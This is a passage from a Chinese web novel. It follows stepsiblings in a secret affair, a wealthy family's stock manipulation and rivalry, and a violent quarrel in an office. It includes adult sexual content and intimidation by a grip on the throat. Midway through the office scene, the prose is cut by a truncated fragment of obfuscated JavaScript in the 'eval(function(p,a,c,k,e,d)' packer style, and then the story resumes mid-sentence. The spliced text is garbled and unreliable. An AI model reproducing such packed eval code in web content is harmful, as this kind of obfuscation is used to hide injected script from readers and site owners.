“没钱没势还不睡他当我做公益呀!死穷鬼指望我浪费精力跟他谈心?”她挑眉,穿着内衣撑在床铺,抬起脚抵着许怡宸,满脸得意道,“算你走运!最近需求大,要不要做随你喽。” 廖爱珠小人得志的模样气得许怡宸心脏濒临爆炸,他抓起枕头朝对面丢去。 冰冷光线让室内一览无余。皱边的书,床脚的球衣。他们沉默着像两个机械契合地运行,眼睛一双望着天,一双看着地,火辣的动作在骨头缝间时不时漏出熟门熟路的冷。 许久之后,窗外已经泛白,万物开始苏醒,两人终于累倒沉沉睡下。陷入睡梦之际廖爱珠透过亚麻窗纱缝隙间的微光看着许怡宸熟睡的背影。她把脸贴着他后背细声问:“喂,要不要做我男朋友?” 廖爱珠不指望他回答,不回答才是正确的回答。天一亮他们还是那对讨人嫌的姐弟。她可以睡在别的男人身边,也可以睡在许怡宸身边。 明天有千百种可能,所有东西都在变,所有东西都未变。 唯变化本身永恒。 * 九月份,南湖出台一系列环保政策。消息一出立刻引起化工板块震荡。此前覃源股价一路上涨,许父在股市上购买了大量覃源股票并由廖母做代持人。 许家瞅准时机选在股市线穹顶时全部抛售致使覃源股价暴跌。 卖掉的股票不仅保住了资产也截停了程家减持套现的计划。程家花了一年时间宣传集团的钱全部打了水漂,至此不得不与覃许两家谈判转让股份筹措房地产项目资金。 期间,程许两家谈崩,覃家不愿意掺和两方恩怨,仅以覃董个人名义借给程家一笔现金。程董在股价跌到底时意气行事卖了10%的股份筹措资金。而这10%的股票连同先前在市场买入又卖掉的9%又全部被廖母以多种途径抄底收入囊中。 许家做空牟利、抵瑕蹈隙玩了把一石二鸟,程家不甘心栽跟头向证监会举报了许家。 一切皆流,无物常驻。 事情拖拖拉拉扯了几年,为规避风险许父迟迟未与廖母领证。没想到摆平之后廖母与许父领证不到一年便提出离婚,同年12月开始频繁出入覃家与覃董出双入对。 在这几年里,廖爱珠换了几任男友享尽颜肉,许怡宸也搭上名企千金妄图攀龙附凤。 浮华之下,暗潮涌动。 算盘珠子里夹着几粒真心,在噼啪作响中碎成虚情假意。 只有午夜梦回时触摸到那几粒碎屑如硌在心头上突兀。 廖爱珠坐起身,指尖拨弄床单上几粒沙子,呆望着床下那一摊白纱。 “醒了?”许怡宸睡眼惺忪把胳膊圈在枕边人腰间咕哝,“再睡一会,睡醒了我们坐船去岛上,新娘子。” 窗外一阵阵海浪声逐渐变得清晰。 床上窸窸窣窣的传来响动,昏暗中两人又开始扭作一团。 天亮之际,廖爱珠吻着那冰凉的后背轻轻问:“喂,你娶不娶我?” 她忽然想起几年前那个早上,许怡宸已经给过她答案。 太阳升起,带着海风把第一缕光照在他们窗前。 许怡宸转身,紧紧拥抱廖爱珠入怀,轻轻唤了一声:“姐。” 12. 图谋 半夜,许家 一股鲜香飘进许怡宸鼻间。 “为情所困买醉呢?” 声音嘟噜噜地由远及近,许怡宸顶着吧台上炫目的光艰难睁眼,哑着嗓子回一句:“哥,又吃呢?” “嗯,下午出去打球了。”许大哥说着又把脑袋埋进白瓷碗中大啖白花胶。他每次打完高尔夫都要来上一碗溏心鲍扣花胶。这败家子样样拿不出手,唯有吃喝玩乐拔群出萃。 男人说完又难掩得意补充道:“去陪几位大佬。” 许董的偏心眼不止让许怡宸难受,也让被偏爱的许大哥每天如坐针毡。他那点本事属于裤衩子上破几个洞自己心知肚明,所以每每做了屁大点的事都要找机会在许怡宸面前强调一番自己的能力。 “点名让我去,说没我不行。” 这废物点心放在普通人家是坑家败业,所幸生在许家还有点用武之地,像他们这种上流阶层的公子哥脑袋空空不要紧,出去能把关系维持好比什么都重要。 至于干活,公司里一堆高学历人才跟卫生纸一样随便用,落地实行就是他一句话的事,交代了自然有手下人加班加点抢着干。 “结账的不在怎么成局,总不能吃霸王餐。”许怡宸阴阳怪气。他的脸还泛着醉酒的红,眼睛却清明锐利,那股精神劲不像深夜酗酒买醉,像六旬老头喝完十全大补汤又啃了两条老山参干劲满满。 “应酬可是门大学问。”许大哥也有样学样绵里藏针,“嘴巴臭的可干不了这个。” 佣人按照吩咐端上来伊面拌进鲍鱼花胶的碗中。许怡宸望着低眉顺眼服侍的人笑呵呵来了一句:“那是,伺候人这活不是谁都能干好的,上下五千年留名的也就李莲英和嫪毐。” 许大哥听他这话立刻耷拉下脸,搜肠刮肚也想不到个人名怼回去。他骂不过许怡宸,烦躁地搅了搅面嘟囔:“谁像你似的敲敲键盘以为自己是华尔街之狼,公司里会敲键盘的海了去了,还不是听我的。” “我看你能狂多久。” 声音冷静得可怕,一股凉意窜上傻胖子后背,他猛地抬头,见对面似笑非笑,镇静至极,好似不曾开口一般。 “小心痛风。”许怡宸说道,话里阴阳的风格依旧很有他一贯作风。 许大哥让他先前那话搅得心神恍惚,怀疑自己是不是听错,一下子没了反驳的劲头,当下只在心中默念一句“大人不计小人过”,然后臊眉耷眼吸溜一口花胶捞面把脏话吞回肚子里。 那肥厚的嘴唇一颤一颤,和碗里的花胶一样油腻软滑。 * “这味儿正!” 翌日,华悦酒店高层包厢。 风水师傅忍着烫将满满一碗花胶吸溜得见底,嘴唇一颤一颤抖动着客气道,“阿路,有心了。” 覃原路这几天除了打理丧事就是陪着大师到处吃喝。白天两人又去看了墓地,回来时这胖神棍说自己在车上打盹让覃董入梦,但是讲了什么又忘记了。覃原路便带他来酒店用鲍参翅肚回忆回忆。 “尝尝大腹。”转桌上的蓝鳍金枪鱼转到大师面前,覃原路微笑回应,“今早刚从马耳他空运到的。” “好好好。”大师笑得合不拢嘴,行个合十礼念一句阿弥陀佛。 酒足饭饱后男人拉着覃原路在茶台边论道讲经,又用他的八字算了一下慎重提醒道:“事缓则圆。” “指什么?” “指你要做的事。”神棍靠上去,拍了拍他的肩膀,“好好让覃董入土为安。” 覃原路垂头,拇指碾着茶杯边沿微微转动。思索一阵后,他站起身来到大落地窗前俯瞰外面高楼林立。 “事情不由我做主。”覃原路声音沙哑,语气中透露着疲惫。 一大块黑云从高楼上方飘来遮住街道。 闪电伴着雷声从天幕划下,巨大的亮光如利箭将覃原路衬成一团墨黑。 南湖的夏天总是这样,风雨说来就来,没有一丝预兆。 不给人一点退路。 “不过放心,老爷子的身后事我会办妥的。”覃原路转过身回答。 胖师父坐在沙发上,似乎让刚才的雷电吓得晃神。 这时传菜房的门被打开,服务员端着燕窝炖雪蛤摆在两人面前。大师回过神连连谦辞,顺着菜肴话头一转说起那件金蟾蜍,“上次只告诉你摆位,还有些地方你要注意。” 覃原路抬眼,等着他说下去。 大师双目炯炯,伸出食指点着桌面,神情认真道:“那是家里的财神,摆好了就好好供着,切记不能亵渎。” * “啊——!”廖爱珠一声大吼,抄起法棍包朝那件大金蟾蜍扔去。 “太太……” “滚!” 屋子里衣服铺满一地,佣人们站在角落不敢擅动。廖爱珠自昨夜回来便发疯似的把衣帽间翻个底朝天。要什么也不说,一个人在里面呆了一夜。 “去把我车钥匙拿来!” “太太,您要去哪?让司机送你……” 佣人话没说完便让廖爱珠一对乌青大眼刀截住,旁人也不敢再劝,着急忙慌去把她的车钥匙翻出来双手奉上。 没过一会,楼下车库弹射出一辆大奔。门口保安使出吃奶的劲拼命拉门,赶在最后一刻拖出将将好的宽度让车子一溜烟蹿出豪宅。 廖爱珠在车上拨通覃原祺电话。 “喂?” “在哪。” “在这。” “覃原祺!” 覃原祺在电话那头笑,欠得没边,“来打我呀!” 车玻璃安静地映出喧嚷,廖爱珠坐在车里发疯狂吼。 覃原祺听着叫骂火上浇油,“爱珠,你什么时候能聪明点? “来找我你想说什么?你能说什么做什么?还是就为了发顿脾气然后和我上床?” 对面哑了火,他轻轻将脚下高尔夫球踢进洞,随即低头笑说:“你来,我在公司。” 天幕之下,整座城市在十字路口上孕育怒发。马路上车流不息,点点灯光串起这片钢铁丛林的脉络。 人在缝隙间蚁行,为了明天奋斗,却并不知道肩上背负的是谁的明天,只有偶尔站在路口等待红灯时被豪车的引擎轰鸣唤起那张麻木的脸,然后抬头看看天上血红的太阳。 闷热的风吹过,只留下一片刺鼻的焦黑牢牢印在沥青马路上。 廖爱珠一脚油门踩到集团大楼下,车子连火都没熄就跳下来抄起棒球棍上楼。 长长的走道上挂着琳琅满目的荣誉直通覃原祺办公室。她抽掉肩上的丝巾缠在握棒球棍的那只手然后一棍子砸碎他手捧奖杯的照片。 哗啦! 远远地,工位上零星两三个人站起来张望。覃原祺办公室大门忽然打开,伸出一只手在廖爱珠开口喷人前将她拽了进去。 “你放开我!” 球棍挥舞之处一片狼藉。水杯、文件被扫落在地。 覃原祺站着任由对面打砸,直到书柜上的玉貔貅被扫到地上他才上前拦人。 “闹够了吧?还想砸什么?公司全让你砸了好不好?” ”放开我,王八蛋你居然监视老娘。” “自己人说什么监视,这都是为了保护你。” “放屁!”廖爱珠骂道。她挣扎扭动,混乱间一巴掌抽在对面脸上。巨大的响声让两人同时一顿,偌大的办公室总算有了短暂的宁静。 头顶天花板冷冷的光照在覃原祺身上,他偏过脸,一动不动,脸颊上被指甲划出一道尖细的血痕。 覃原祺抬手摸了摸,开口打破沉默:“闹也闹了,打也打了。脸都让你打烂了,我回去还要找借口跟刘纯交代。”他弯腰捡起地上貔貅放在手中掂了掂,然后扣在廖爱珠手心低声哄道,“送你了。” 覃原祺不想跟她一般见识,小打小闹的让这炮仗发泄一下总好过出去被人当枪使。眼下要紧关头,他还指着廖家手上的筹码稳住局面,别说一间办公室,就是廖爱珠把整个覃宅都砸烂对他来说也是笔划算的买卖。 这算盘覃原祺打得浅,傻子都能看出来更何况廖爱珠。 她低头盯着手中墨绿翡翠,心中的火再次腾地窜上,“我稀罕你这破玩意儿!”廖爱珠一把将貔貅甩向覃原祺,“有本事把那块大的帝王绿送我啊,把谁当乡巴佬打发给我这点破烂,呸!” 棒球棍再次扬起,这次覃原祺有了防备,一把握住球棍另一端,两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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气氛一瞬间绷紧,廖爱珠越说越来劲,将没过脑子的话全秃噜出来:“说就说,我说还比得上你做吗?你被臭老头压着这些年,心里早盼他蹬腿呢吧?” “那天你跑上来不就想让我给你做证……” 覃原祺面无表情,在她说话间冷静地伸出手扣在那细嫩的脖颈上。手没施加力道,却使廖爱珠瞬间噤声。 有些手段用一次便能让人永远记住教训。覃原祺的胸膛如烙铁般滚烫,手却冷得人骨头缝都在打颤,让廖爱珠跟鹌鹑一样地依在他怀中。 争来吵去的,也要有命。 不知过了多久,他眼眸低垂动了动,松开手轻描淡写:“你信不信都好,爸的死是意外。” 廖爱珠点点头。事已至此,这话几分真几分假她也不敢再追究。 落地窗透进猩红的火烧云压得人心发慌,廖爱珠无心再待下去。覃原祺却摸上她的腰,贴在耳边说:“沙发刚换了新的,今天正好试试。” 性是最好的台阶,滚一滚,说说爱,就可以把天大的事糊弄过去。 他像狗一样用鼻子蹭着廖爱珠脸颊,迫不及待地要做裤/裆里那点下流勾当,不管不顾对方根本没心情玩那些风花雪月。 “我今天只来找你谈正经事的。” “饿了吗?那就先吃饭,我在华悦订好了位子。” 吻跟泥鳅似的钻来滑去,让廖爱珠手忙脚乱来不及开口。她揪住覃原祺领子把人向外推,没想到反被他搂住腰一起跌进沙发。 “哎呀,我不想做。”廖爱珠推开人。 “来例假了?” 覃原祺的话让她又开始冒火,廖爱珠拔尖嗓音:“没来就不能不做吗?” “你来找我不就是为了做吗?” “我说——我找你谈正事。你能不能听我说句话呀!” “呵,到我这就开始谈正事了?” “覃原祺,你在我身上装窃听还想着我会来找你谈情说爱?” “所以呢,我们谈出了什么结果?你来找我不就是为了发顿脾气让我哄一哄。”覃原祺一边说一边靠近。事实如此,但说出来戳心戳肺。 “想打我就去床上打,我让你打个过瘾。” 一颗橙子挤在沙发缝隙间,让碾压的重量在皮革上留下紧绷的摩擦声,马上到下一秒就要爆开。廖爱珠一动不动,任由伏在身上的人吻着她,脸色渐渐阴沉。 “呀啊——”一声尖叫。 一股蛮劲将覃原祺从沙发掀到地上。 “我说我不做,不做,不做!!!最烦跟你们这些臭老爷们上床了,滚!” 廖爱珠暴起,